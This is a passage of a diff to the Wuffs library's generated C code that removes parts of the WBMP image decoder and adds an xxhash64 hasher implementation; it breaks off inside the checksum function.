WUFFS_XXHASH64__XXH_PRIME64_2 14029467366897019727u + +- wuffs_base__status v_status = wuffs_base__make_status(NULL); +- wuffs_base__pixel_format v_dst_pixfmt = {0}; +- uint32_t v_dst_bits_per_pixel = 0; +- uint64_t v_dst_bytes_per_pixel = 0; +- uint64_t v_dst_x_in_bytes = 0; +- uint32_t v_dst_x = 0; +- uint32_t v_dst_y = 0; +- wuffs_base__table_u8 v_tab = {0}; +- wuffs_base__slice_u8 v_dst = {0}; +- uint8_t v_src[1] = {0}; +- uint8_t v_c = 0; ++#define WUFFS_XXHASH64__XXH_PRIME64_3 1609587929392839161u + +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; +- } ++#define WUFFS_XXHASH64__XXH_PRIME64_4 9650029242287828579u + +- uint32_t coro_susp_point = self->private_impl.p_do_decode_frame[0]; +- if (coro_susp_point) { +- v_dst_bytes_per_pixel = self->private_data.s_do_decode_frame[0].v_dst_bytes_per_pixel; +- v_dst_x = self->private_data.s_do_decode_frame[0].v_dst_x; +- v_dst_y = self->private_data.s_do_decode_frame[0].v_dst_y; +- memcpy(v_src, self->private_data.s_do_decode_frame[0].v_src, sizeof(v_src)); +- v_c = self->private_data.s_do_decode_frame[0].v_c; +- } +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++#define WUFFS_XXHASH64__XXH_PRIME64_5 2870177450012600261u + +- if (self->private_impl.f_call_sequence == 64u) { +- } else if (self->private_impl.f_call_sequence < 64u) { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- status = wuffs_wbmp__decoder__do_decode_frame_config(self, NULL, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; +- } +- } else { +- status = wuffs_base__make_status(wuffs_base__note__end_of_data); +- goto ok; +- } +- v_status = wuffs_base__pixel_swizzler__prepare(&self->private_impl.f_swizzler, +- wuffs_base__pixel_buffer__pixel_format(a_dst), +- wuffs_base__pixel_buffer__palette(a_dst), +- wuffs_base__utility__make_pixel_format(536870920u), +- wuffs_base__utility__empty_slice_u8(), +- a_blend); +- if ( ! wuffs_base__status__is_ok(&v_status)) { +- status = v_status; +- if (wuffs_base__status__is_error(&status)) { +- goto exit; +- } else if (wuffs_base__status__is_suspension(&status)) { +- status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); +- goto exit; +- } +- goto ok; +- } +- v_dst_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_dst); +- v_dst_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_dst_pixfmt); +- if ((v_dst_bits_per_pixel & 7u) != 0u) { +- status = wuffs_base__make_status(wuffs_base__error__unsupported_option); +- goto exit; +- } +- v_dst_bytes_per_pixel = ((uint64_t)((v_dst_bits_per_pixel / 8u))); +- if (self->private_impl.f_width > 0u) { +- v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); +- while (v_dst_y < self->private_impl.f_height) { +- v_dst = wuffs_base__table_u8__row_u32(v_tab, v_dst_y); +- v_dst_x = 0u; +- while (v_dst_x < self->private_impl.f_width) { +- if ((v_dst_x & 7u) == 0u) { +- while (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); +- v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); +- v_dst = wuffs_base__table_u8__row_u32(v_tab, v_dst_y); +- v_dst_x_in_bytes = (((uint64_t)(v_dst_x)) * v_dst_bytes_per_pixel); +- if (v_dst_x_in_bytes <= ((uint64_t)(v_dst.len))) { +- v_dst = wuffs_base__slice_u8__subslice_i(v_dst, v_dst_x_in_bytes); +- } +- } +- v_c = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); +- iop_a_src += 1u; +- } +- if ((v_c & 128u) == 0u) { +- v_src[0u] = 0u; +- } else { +- v_src[0u] = 255u; +- } +- v_c = ((uint8_t)((((uint32_t)(v_c)) << 1u))); +- wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, v_dst, wuffs_base__utility__empty_slice_u8(), wuffs_base__make_slice_u8(v_src, 1)); +- if (v_dst_bytes_per_pixel <= ((uint64_t)(v_dst.len))) { +- v_dst = wuffs_base__slice_u8__subslice_i(v_dst, v_dst_bytes_per_pixel); +- } +- v_dst_x += 1u; +- } +- v_dst_y += 1u; +- } +- } +- self->private_impl.f_call_sequence = 96u; ++#define WUFFS_XXHASH64__INITIAL_V0 6983438078262162902u + +- ok: +- self->private_impl.p_do_decode_frame[0] = 0; +- goto exit; +- } ++#define WUFFS_XXHASH64__INITIAL_V1 14029467366897019727u + +- goto suspend; +- suspend: +- self->private_impl.p_do_decode_frame[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_data.s_do_decode_frame[0].v_dst_bytes_per_pixel = v_dst_bytes_per_pixel; +- self->private_data.s_do_decode_frame[0].v_dst_x = v_dst_x; +- self->private_data.s_do_decode_frame[0].v_dst_y = v_dst_y; +- memcpy(self->private_data.s_do_decode_frame[0].v_src, v_src, sizeof(v_src)); +- self->private_data.s_do_decode_frame[0].v_c = v_c; ++#define WUFFS_XXHASH64__INITIAL_V2 0u + +- goto exit; +- exit: +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } ++#define WUFFS_XXHASH64__INITIAL_V3 7046029288634856825u + +- return status; +-} ++// ---------------- Private Initializer Prototypes + +-// -------- func wbmp.decoder.frame_dirty_rect ++// ---------------- Private Function Prototypes + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 +-wuffs_wbmp__decoder__frame_dirty_rect( +- const wuffs_wbmp__decoder* self) { +- if (!self) { +- return wuffs_base__utility__empty_rect_ie_u32(); +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return wuffs_base__utility__empty_rect_ie_u32(); +- } ++static wuffs_base__empty_struct ++wuffs_xxhash64__hasher__up( ++ wuffs_xxhash64__hasher* self, ++ wuffs_base__slice_u8 a_x); + +- return wuffs_base__utility__make_rect_ie_u32( +- 0u, +- 0u, +- self->private_impl.f_width, +- self->private_impl.f_height); +-} ++// ---------------- VTables + +-// -------- func wbmp.decoder.num_animation_loops ++const wuffs_base__hasher_u64__func_ptrs ++wuffs_xxhash64__hasher__func_ptrs_for__wuffs_base__hasher_u64 = { ++ (uint64_t(*)(const void*))(&wuffs_xxhash64__hasher__checksum_u64), ++ (uint64_t(*)(const void*, ++ uint32_t))(&wuffs_xxhash64__hasher__get_quirk), ++ (wuffs_base__status(*)(void*, ++ uint32_t, ++ uint64_t))(&wuffs_xxhash64__hasher__set_quirk), ++ (wuffs_base__empty_struct(*)(void*, ++ wuffs_base__slice_u8))(&wuffs_xxhash64__hasher__update), ++ (uint64_t(*)(void*, ++ wuffs_base__slice_u8))(&wuffs_xxhash64__hasher__update_u64), ++}; + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint32_t +-wuffs_wbmp__decoder__num_animation_loops( +- const wuffs_wbmp__decoder* self) { ++// ---------------- Initializer Implementations ++ ++wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++wuffs_xxhash64__hasher__initialize( ++ wuffs_xxhash64__hasher* self, ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options){ + if (!self) { +- return 0; ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); + } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; ++ if (sizeof(*self) != sizeof_star_self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); ++ } ++ if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || ++ (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { ++ return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); + } + +- return 0u; +-} ++ if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { ++ // The whole point of this if-check is to detect an uninitialized *self. ++ // We disable the warning on GCC. Clang-5.0 does not have this warning. ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" ++#endif ++ if (self->private_impl.magic != 0) { ++ return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); ++ } ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else { ++ if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { ++ memset(self, 0, sizeof(*self)); ++ options |= WUFFS_INITIALIZE__ALREADY_ZEROED; ++ } else { ++ memset(&(self->private_impl), 0, sizeof(self->private_impl)); ++ } ++ } + +-// -------- func wbmp.decoder.num_decoded_frame_configs ++ self->private_impl.magic = WUFFS_BASE__MAGIC; ++ self->private_impl.vtable_for__wuffs_base__hasher_u64.vtable_name = ++ wuffs_base__hasher_u64__vtable_name; ++ self->private_impl.vtable_for__wuffs_base__hasher_u64.function_pointers = ++ (const void*)(&wuffs_xxhash64__hasher__func_ptrs_for__wuffs_base__hasher_u64); ++ return wuffs_base__make_status(NULL); ++} + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_wbmp__decoder__num_decoded_frame_configs( +- const wuffs_wbmp__decoder* self) { +- if (!self) { +- return 0; ++wuffs_xxhash64__hasher* ++wuffs_xxhash64__hasher__alloc(void) { ++ wuffs_xxhash64__hasher* x = ++ (wuffs_xxhash64__hasher*)(calloc(1, sizeof(wuffs_xxhash64__hasher))); ++ if (!x) { ++ return NULL; + } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; ++ if (wuffs_xxhash64__hasher__initialize( ++ x, sizeof(wuffs_xxhash64__hasher), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { ++ free(x); ++ return NULL; + } ++ return x; ++} + +- if (self->private_impl.f_call_sequence > 32u) { +- return 1u; +- } +- return 0u; ++size_t ++sizeof__wuffs_xxhash64__hasher(void) { ++ return sizeof(wuffs_xxhash64__hasher); + } + +-// -------- func wbmp.decoder.num_decoded_frames ++// ---------------- Function Implementations ++ ++// -------- func xxhash64.hasher.get_quirk + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_wbmp__decoder__num_decoded_frames( +- const wuffs_wbmp__decoder* self) { ++wuffs_xxhash64__hasher__get_quirk( ++ const wuffs_xxhash64__hasher* self, ++ uint32_t a_key) { + if (!self) { + return 0; + } +@@ -61266,20 +76026,17 @@ wuffs_wbmp__decoder__num_decoded_frames( + return 0; + } + +- if (self->private_impl.f_call_sequence > 64u) { +- return 1u; +- } + return 0u; + } + +-// -------- func wbmp.decoder.restart_frame ++// -------- func xxhash64.hasher.set_quirk + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_wbmp__decoder__restart_frame( +- wuffs_wbmp__decoder* self, +- uint64_t a_index, +- uint64_t a_io_position) { ++wuffs_xxhash64__hasher__set_quirk( ++ wuffs_xxhash64__hasher* self, ++ uint32_t a_key, ++ uint64_t a_value) { + if (!self) { + return wuffs_base__make_status(wuffs_base__error__bad_receiver); + } +@@ -61290,77 +76047,206 @@ wuffs_wbmp__decoder__restart_frame( + : wuffs_base__error__initialize_not_called); + } + +- if (self->private_impl.f_call_sequence < 32u) { +- return wuffs_base__make_status(wuffs_base__error__bad_call_sequence); +- } +- if (a_index != 0u) { +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } +- self->private_impl.f_call_sequence = 40u; +- self->private_impl.f_frame_config_io_position = a_io_position; +- return wuffs_base__make_status(NULL); ++ return wuffs_base__make_status(wuffs_base__error__unsupported_option); + } + +-// -------- func wbmp.decoder.set_report_metadata ++// -------- func xxhash64.hasher.update + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct +-wuffs_wbmp__decoder__set_report_metadata( +- wuffs_wbmp__decoder* self, +- uint32_t a_fourcc, +- bool a_report) { ++wuffs_xxhash64__hasher__update( ++ wuffs_xxhash64__hasher* self, ++ wuffs_base__slice_u8 a_x) { ++ if (!self) { ++ return wuffs_base__make_empty_struct(); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_empty_struct(); ++ } ++ ++ if ((self->private_impl.f_length_modulo_u64 == 0u) && ! self->private_impl.f_length_overflows_u64) { ++ self->private_impl.f_v0 = 6983438078262162902u; ++ self->private_impl.f_v1 = 14029467366897019727u; ++ self->private_impl.f_v2 = 0u; ++ self->private_impl.f_v3 = 7046029288634856825u; ++ } ++ wuffs_xxhash64__hasher__up(self, a_x); + return wuffs_base__make_empty_struct(); + } + +-// -------- func wbmp.decoder.tell_me_more ++// -------- func xxhash64.hasher.update_u64 + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_wbmp__decoder__tell_me_more( +- wuffs_wbmp__decoder* self, +- wuffs_base__io_buffer* a_dst, +- wuffs_base__more_information* a_minfo, +- wuffs_base__io_buffer* a_src) { ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_xxhash64__hasher__update_u64( ++ wuffs_xxhash64__hasher* self, ++ wuffs_base__slice_u8 a_x) { + if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ return 0; + } + if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } +- if (!a_dst || !a_src) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } +- if ((self->private_impl.active_coroutine != 0) && +- (self->private_impl.active_coroutine != 4)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ return 0; + } +- self->private_impl.active_coroutine = 0; +- wuffs_base__status status = wuffs_base__make_status(NULL); + +- status = wuffs_base__make_status(wuffs_base__error__no_more_information); +- goto exit; ++ wuffs_xxhash64__hasher__update(self, a_x); ++ return wuffs_xxhash64__hasher__checksum_u64(self); ++} + +- goto ok; +- ok: +- goto exit; +- exit: +- if (wuffs_base__status__is_error(&status)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; ++// -------- func xxhash64.hasher.up ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_xxhash64__hasher__up( ++ wuffs_xxhash64__hasher* self, ++ wuffs_base__slice_u8 a_x) { ++ uint64_t v_new_lmu = 0; ++ uint64_t v_buf_u64 = 0; ++ uint32_t v_buf_len = 0; ++ uint64_t v_v0 = 0; ++ uint64_t v_v1 = 0; ++ uint64_t v_v2 = 0; ++ uint64_t v_v3 = 0; ++ wuffs_base__slice_u8 v_p = {0}; ++ ++ v_new_lmu = ((uint64_t)(self->private_impl.f_length_modulo_u64 + ((uint64_t)(a_x.len)))); ++ self->private_impl.f_length_overflows_u64 = ((v_new_lmu < self->private_impl.f_length_modulo_u64) || self->private_impl.f_length_overflows_u64); ++ self->private_impl.f_length_modulo_u64 = v_new_lmu; ++ while (true) { ++ if (self->private_impl.f_buf_len >= 32u) { ++ v_buf_u64 = (((uint64_t)(self->private_impl.f_buf_data[0u])) | ++ (((uint64_t)(self->private_impl.f_buf_data[1u])) << 8u) | ++ (((uint64_t)(self->private_impl.f_buf_data[2u])) << 16u) | ++ (((uint64_t)(self->private_impl.f_buf_data[3u])) << 24u) | ++ (((uint64_t)(self->private_impl.f_buf_data[4u])) << 32u) | ++ (((uint64_t)(self->private_impl.f_buf_data[5u])) << 40u) | ++ (((uint64_t)(self->private_impl.f_buf_data[6u])) << 48u) | ++ (((uint64_t)(self->private_impl.f_buf_data[7u])) << 56u)); ++ v_v0 = ((uint64_t)(self->private_impl.f_v0 + ((uint64_t)(v_buf_u64 * 14029467366897019727u)))); ++ v_v0 = (((uint64_t)(v_v0 << 31u)) | (v_v0 >> 33u)); ++ self->private_impl.f_v0 = ((uint64_t)(v_v0 * 11400714785074694791u)); ++ v_buf_u64 = (((uint64_t)(self->private_impl.f_buf_data[8u])) | ++ (((uint64_t)(self->private_impl.f_buf_data[9u])) << 8u) | ++ (((uint64_t)(self->private_impl.f_buf_data[10u])) << 16u) | ++ (((uint64_t)(self->private_impl.f_buf_data[11u])) << 24u) | ++ (((uint64_t)(self->private_impl.f_buf_data[12u])) << 32u) | ++ (((uint64_t)(self->private_impl.f_buf_data[13u])) << 40u) | ++ (((uint64_t)(self->private_impl.f_buf_data[14u])) << 48u) | ++ (((uint64_t)(self->private_impl.f_buf_data[15u])) << 56u)); ++ v_v1 = ((uint64_t)(self->private_impl.f_v1 + ((uint64_t)(v_buf_u64 * 14029467366897019727u)))); ++ v_v1 = (((uint64_t)(v_v1 << 31u)) | (v_v1 >> 33u)); ++ self->private_impl.f_v1 = ((uint64_t)(v_v1 * 11400714785074694791u)); ++ v_buf_u64 = (((uint64_t)(self->private_impl.f_buf_data[16u])) | ++ (((uint64_t)(self->private_impl.f_buf_data[17u])) << 8u) | ++ (((uint64_t)(self->private_impl.f_buf_data[18u])) << 16u) | ++ (((uint64_t)(self->private_impl.f_buf_data[19u])) << 24u) | ++ (((uint64_t)(self->private_impl.f_buf_data[20u])) << 32u) | ++ (((uint64_t)(self->private_impl.f_buf_data[21u])) << 40u) | ++ (((uint64_t)(self->private_impl.f_buf_data[22u])) << 48u) | ++ (((uint64_t)(self->private_impl.f_buf_data[23u])) << 56u)); ++ v_v2 = ((uint64_t)(self->private_impl.f_v2 + ((uint64_t)(v_buf_u64 * 14029467366897019727u)))); ++ v_v2 = (((uint64_t)(v_v2 << 31u)) | (v_v2 >> 33u)); ++ self->private_impl.f_v2 = ((uint64_t)(v_v2 * 11400714785074694791u)); ++ v_buf_u64 = (((uint64_t)(self->private_impl.f_buf_data[24u])) | ++ (((uint64_t)(self->private_impl.f_buf_data[25u])) << 8u) | ++ (((uint64_t)(self->private_impl.f_buf_data[26u])) << 16u) | ++ (((uint64_t)(self->private_impl.f_buf_data[27u])) << 24u) | ++ (((uint64_t)(self->private_impl.f_buf_data[28u])) << 32u) | ++ (((uint64_t)(self->private_impl.f_buf_data[29u])) << 40u) | ++ (((uint64_t)(self->private_impl.f_buf_data[30u])) << 48u) | ++ (((uint64_t)(self->private_impl.f_buf_data[31u])) << 56u)); ++ v_v3 = ((uint64_t)(self->private_impl.f_v3 + ((uint64_t)(v_buf_u64 * 14029467366897019727u)))); ++ v_v3 = (((uint64_t)(v_v3 << 31u)) | (v_v3 >> 33u)); ++ self->private_impl.f_v3 = ((uint64_t)(v_v3 * 11400714785074694791u)); ++ self->private_impl.f_buf_len = 0u; ++ break; ++ } ++ if (((uint64_t)(a_x.len)) <= 0u) { ++ return wuffs_base__make_empty_struct(); ++ } ++ self->private_impl.f_buf_data[self->private_impl.f_buf_len] = a_x.ptr[0u]; ++ self->private_impl.f_buf_len += 1u; ++ a_x = wuffs_base__slice_u8__subslice_i(a_x, 1u); ++ } ++ v_buf_len = (self->private_impl.f_buf_len & 31u); ++ v_v0 = self->private_impl.f_v0; ++ v_v1 = self->private_impl.f_v1; ++ v_v2 = self->private_impl.f_v2; ++ v_v3 = self->private_impl.f_v3; ++ { ++ wuffs_base__slice_u8 i_slice_p = a_x; ++ v_p.ptr = i_slice_p.ptr; ++ v_p.len = 32; ++ const uint8_t* i_end0_p = wuffs_private_impl__ptr_u8_plus_len(v_p.ptr, (((i_slice_p.len - (size_t)(v_p.ptr - i_slice_p.ptr)) / 32) * 32)); ++ while (v_p.ptr < i_end0_p) { ++ v_buf_u64 = (((uint64_t)(v_p.ptr[0u])) | ++ (((uint64_t)(v_p.ptr[1u])) << 8u) | ++ (((uint64_t)(v_p.ptr[2u])) << 16u) | ++ (((uint64_t)(v_p.ptr[3u])) << 24u) | ++ (((uint64_t)(v_p.ptr[4u])) << 32u) | ++ (((uint64_t)(v_p.ptr[5u])) << 40u) | ++ (((uint64_t)(v_p.ptr[6u])) << 48u) | ++ (((uint64_t)(v_p.ptr[7u])) << 56u)); ++ v_v0 = ((uint64_t)(v_v0 + ((uint64_t)(v_buf_u64 * 14029467366897019727u)))); ++ v_v0 = (((uint64_t)(v_v0 << 31u)) | (v_v0 >> 33u)); ++ v_v0 = ((uint64_t)(v_v0 * 11400714785074694791u)); ++ v_buf_u64 = (((uint64_t)(v_p.ptr[8u])) | ++ (((uint64_t)(v_p.ptr[9u])) << 8u) | ++ (((uint64_t)(v_p.ptr[10u])) << 16u) | ++ (((uint64_t)(v_p.ptr[11u])) << 24u) | ++ (((uint64_t)(v_p.ptr[12u])) << 32u) | ++ (((uint64_t)(v_p.ptr[13u])) << 40u) | ++ (((uint64_t)(v_p.ptr[14u])) << 48u) | ++ (((uint64_t)(v_p.ptr[15u])) << 56u)); ++ v_v1 = ((uint64_t)(v_v1 + ((uint64_t)(v_buf_u64 * 14029467366897019727u)))); ++ v_v1 = (((uint64_t)(v_v1 << 31u)) | (v_v1 >> 33u)); ++ v_v1 = ((uint64_t)(v_v1 * 11400714785074694791u)); ++ v_buf_u64 = (((uint64_t)(v_p.ptr[16u])) | ++ (((uint64_t)(v_p.ptr[17u])) << 8u) | ++ (((uint64_t)(v_p.ptr[18u])) << 16u) | ++ (((uint64_t)(v_p.ptr[19u])) << 24u) | ++ (((uint64_t)(v_p.ptr[20u])) << 32u) | ++ (((uint64_t)(v_p.ptr[21u])) << 40u) | ++ (((uint64_t)(v_p.ptr[22u])) << 48u) | ++ (((uint64_t)(v_p.ptr[23u])) << 56u)); ++ v_v2 = ((uint64_t)(v_v2 + ((uint64_t)(v_buf_u64 * 14029467366897019727u)))); ++ v_v2 = (((uint64_t)(v_v2 << 31u)) | (v_v2 >> 33u)); ++ v_v2 = ((uint64_t)(v_v2 * 11400714785074694791u)); ++ v_buf_u64 = (((uint64_t)(v_p.ptr[24u])) | ++ (((uint64_t)(v_p.ptr[25u])) << 8u) | ++ (((uint64_t)(v_p.ptr[26u])) << 16u) | ++ (((uint64_t)(v_p.ptr[27u])) << 24u) | ++ (((uint64_t)(v_p.ptr[28u])) << 32u) | ++ (((uint64_t)(v_p.ptr[29u])) << 40u) | ++ (((uint64_t)(v_p.ptr[30u])) << 48u) | ++ (((uint64_t)(v_p.ptr[31u])) << 56u)); ++ v_v3 = ((uint64_t)(v_v3 + ((uint64_t)(v_buf_u64 * 14029467366897019727u)))); ++ v_v3 = (((uint64_t)(v_v3 << 31u)) | (v_v3 >> 33u)); ++ v_v3 = ((uint64_t)(v_v3 * 11400714785074694791u)); ++ v_p.ptr += 32; ++ } ++ v_p.len = 1; ++ const uint8_t* i_end1_p = wuffs_private_impl__ptr_u8_plus_len(i_slice_p.ptr, i_slice_p.len); ++ while (v_p.ptr < i_end1_p) { ++ self->private_impl.f_buf_data[v_buf_len] = v_p.ptr[0u]; ++ v_buf_len = ((v_buf_len + 1u) & 31u); ++ v_p.ptr += 1; ++ } ++ v_p.len = 0; + } +- return status; ++ self->private_impl.f_buf_len = v_buf_len; ++ self->private_impl.f_v0 = v_v0; ++ self->private_impl.f_v1 = v_v1; ++ self->private_impl.f_v2 = v_v2; ++ self->private_impl.f_v3 = v_v3; ++ return wuffs_base__make_empty_struct(); + } + +-// -------- func wbmp.decoder.history_retain_length ++// -------- func xxhash64.hasher.checksum_u64 + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_wbmp__decoder__history_retain_length( +- const wuffs_wbmp__decoder* self) { ++wuffs_xxhash64__hasher__checksum_u64( ++ const wuffs_xxhash64__hasher* self) { + if (!self) { + return 0; + } +@@ -61369,83 +76255,307 @@ wuffs_wbmp__decoder__history_retain_length( + return 0; + } + +- return 0u; +-} +- +-// -------- func wbmp.decoder.workbuf_len ++ uint64_t v_ret = 0; ++ uint64_t v_v0 = 0; ++ uint64_t v_v1 = 0; ++ uint64_t v_v2 = 0; ++ uint64_t v_v3 = 0; ++ uint32_t v_i = 0; ++ uint32_t v_i8 = 0; ++ uint32_t v_n = 0; ++ uint32_t v_buf_u32 = 0; ++ uint64_t v_buf_u64 = 0; + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 +-wuffs_wbmp__decoder__workbuf_len( +- const wuffs_wbmp__decoder* self) { +- if (!self) { +- return wuffs_base__utility__empty_range_ii_u64(); ++ if ((self->private_impl.f_length_modulo_u64 >= 32u) || self->private_impl.f_length_overflows_u64) { ++ v_ret += (((uint64_t)(self->private_impl.f_v0 << 1u)) | (self->private_impl.f_v0 >> 63u)); ++ v_ret += (((uint64_t)(self->private_impl.f_v1 << 7u)) | (self->private_impl.f_v1 >> 57u)); ++ v_ret += (((uint64_t)(self->private_impl.f_v2 << 12u)) | (self->private_impl.f_v2 >> 52u)); ++ v_ret += (((uint64_t)(self->private_impl.f_v3 << 18u)) | (self->private_impl.f_v3 >> 46u)); ++ v_v0 = ((uint64_t)(self->private_impl.f_v0 * 14029467366897019727u)); ++ v_v0 = (((uint64_t)(v_v0 << 31u)) | (v_v0 >> 33u)); ++ v_v0 *= 11400714785074694791u; ++ v_v1 = ((uint64_t)(self->private_impl.f_v1 * 14029467366897019727u)); ++ v_v1 = (((uint64_t)(v_v1 << 31u)) | (v_v1 >> 33u)); ++ v_v1 *= 11400714785074694791u; ++ v_v2 = ((uint64_t)(self->private_impl.f_v2 * 14029467366897019727u)); ++ v_v2 = (((uint64_t)(v_v2 << 31u)) | (v_v2 >> 33u)); ++ v_v2 *= 11400714785074694791u; ++ v_v3 = ((uint64_t)(self->private_impl.f_v3 * 14029467366897019727u)); ++ v_v3 = (((uint64_t)(v_v3 << 31u)) | (v_v3 >> 33u)); ++ v_v3 *= 11400714785074694791u; ++ v_ret = ((uint64_t)(((uint64_t)((v_ret ^ v_v0) * 11400714785074694791u)) + 9650029242287828579u)); ++ v_ret = ((uint64_t)(((uint64_t)((v_ret ^ v_v1) * 11400714785074694791u)) + 9650029242287828579u)); ++ v_ret = ((uint64_t)(((uint64_t)((v_ret ^ v_v2) * 11400714785074694791u)) + 9650029242287828579u)); ++ v_ret = ((uint64_t)(((uint64_t)((v_ret ^ v_v3) * 11400714785074694791u)) + 9650029242287828579u)); ++ v_ret += self->private_impl.f_length_modulo_u64; ++ } else { ++ v_ret += 2870177450012600261u; ++ v_ret += self->private_impl.f_length_modulo_u64; + } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return wuffs_base__utility__empty_range_ii_u64(); ++ v_n = 32u; ++ v_n = wuffs_base__u32__min(v_n, self->private_impl.f_buf_len); ++ if (8u <= v_n) { ++ v_buf_u64 = (((uint64_t)(self->private_impl.f_buf_data[0u])) | ++ (((uint64_t)(self->private_impl.f_buf_data[1u])) << 8u) | ++ (((uint64_t)(self->private_impl.f_buf_data[2u])) << 16u) | ++ (((uint64_t)(self->private_impl.f_buf_data[3u])) << 24u) | ++ (((uint64_t)(self->private_impl.f_buf_data[4u])) << 32u) | ++ (((uint64_t)(self->private_impl.f_buf_data[5u])) << 40u) | ++ (((uint64_t)(self->private_impl.f_buf_data[6u])) << 48u) | ++ (((uint64_t)(self->private_impl.f_buf_data[7u])) << 56u)); ++ v_buf_u64 *= 14029467366897019727u; ++ v_buf_u64 = (((uint64_t)(v_buf_u64 << 31u)) | (v_buf_u64 >> 33u)); ++ v_buf_u64 *= 11400714785074694791u; ++ v_ret ^= v_buf_u64; ++ v_ret = (((uint64_t)(v_ret << 27u)) | (v_ret >> 37u)); ++ v_ret *= 11400714785074694791u; ++ v_ret += 9650029242287828579u; ++ v_i = 8u; + } +- +- return wuffs_base__utility__make_range_ii_u64(0u, 0u); ++ if (16u <= v_n) { ++ v_buf_u64 = (((uint64_t)(self->private_impl.f_buf_data[8u])) | ++ (((uint64_t)(self->private_impl.f_buf_data[9u])) << 8u) | ++ (((uint64_t)(self->private_impl.f_buf_data[10u])) << 16u) | ++ (((uint64_t)(self->private_impl.f_buf_data[11u])) << 24u) | ++ (((uint64_t)(self->private_impl.f_buf_data[12u])) << 32u) | ++ (((uint64_t)(self->private_impl.f_buf_data[13u])) << 40u) | ++ (((uint64_t)(self->private_impl.f_buf_data[14u])) << 48u) | ++ (((uint64_t)(self->private_impl.f_buf_data[15u])) << 56u)); ++ v_buf_u64 *= 14029467366897019727u; ++ 